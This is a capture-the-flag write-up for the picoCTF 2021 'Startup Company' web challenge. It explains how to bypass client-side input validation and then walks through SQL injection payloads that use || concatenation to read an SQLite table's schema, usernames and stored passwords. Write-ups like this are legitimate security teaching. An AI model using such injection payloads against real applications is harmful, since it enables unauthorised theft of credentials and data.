> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2021/web-exploitation/startup-company.md).

# Startup Company

<figure><img src="/files/yF4RVzaN4mVsOuqGTnQ4" alt=""><figcaption></figcaption></figure>

**It's client-side validation if:**

* The restriction is in the HTML attribute — `type="number"`, `maxlength="10"`, `required`
* The restriction is in JavaScript — checking input before submitting
* The page never reloads or hits the server until you click submit

You can also check Burpsuite, and the Network tab of Devtools.

So after changing it to text, this becomes a simple SQL Injection. If we put in a simple " ' ", it crashes, meaning we have found SQL injection.&#x20;

![](/files/powdY0UillWmyuhhHJzo)&#x20;

### Crafting Our Payload

Even though we don't have access to the server code: we can make some guesses.

`UPDATE donations SET money = '[your input]' WHERE user_id = 1`

We can assume an query like this is being done, with a SET command. So how could we escape the SET command?&#x20;

### Understanding || (Concatenation)

|| brings 2 strings together. This is why something like 'ad' || 'min' resolves to "admin". However, sometimes we don't want it to be resolved to a string. Let's go through an example:

```
'||(SELECT name FROM sqlite_master WHERE type='table')||'
'||(SELECT wordpass FROM startup_users LIMIT 1)||'

1. evaluate ''                        → ""
2. evaluate (SELECT wordpass...)      → "picoCTF{...}"
3. glue them: "" + "picoCTF{...}"    → "picoCTF{...}"
4. evaluate ''                        → ""
5. glue them: "picoCTF{...}" + ""    → "picoCTF{...}"
```

```
'' || (SELECT ...)    ✓ valid — empty string + query result
(SELECT ...) || ''    ✓ valid — query result + empty string
'' || ''              ✓ valid — two empty strings
|| (SELECT ...)       ✗ invalid — nothing on the left
```

Anyways, "'||(SELECT name FROM sqlite\_master WHERE type='table')||' outputs startup\_users

<figure><img src="/files/fFaopipLtW13nt6X5epf" alt=""><figcaption></figcaption></figure>

Then, we need to put this: `'||(SELECT sql FROM sqlite_master WHERE name='startup_users')||'`

<figure><img src="/files/jSVUJZHl6jtoQI1gcK9c" alt=""><figcaption></figcaption></figure>

If we do this, we get $password

<figure><img src="/files/ZYxufwYY9pbX9RmTbZQN" alt=""><figcaption></figcaption></figure>

`'||(SELECT nameuser FROM startup_users LIMIT 1)||'`

'||(SELECT wordpass FROM startup\_users WHERE nameuser='the\_real\_flag' LIMIT 1)||'

<figure><img src="/files/KOD3XPmtQSjiSGoGOfmL" alt=""><figcaption></figcaption></figure>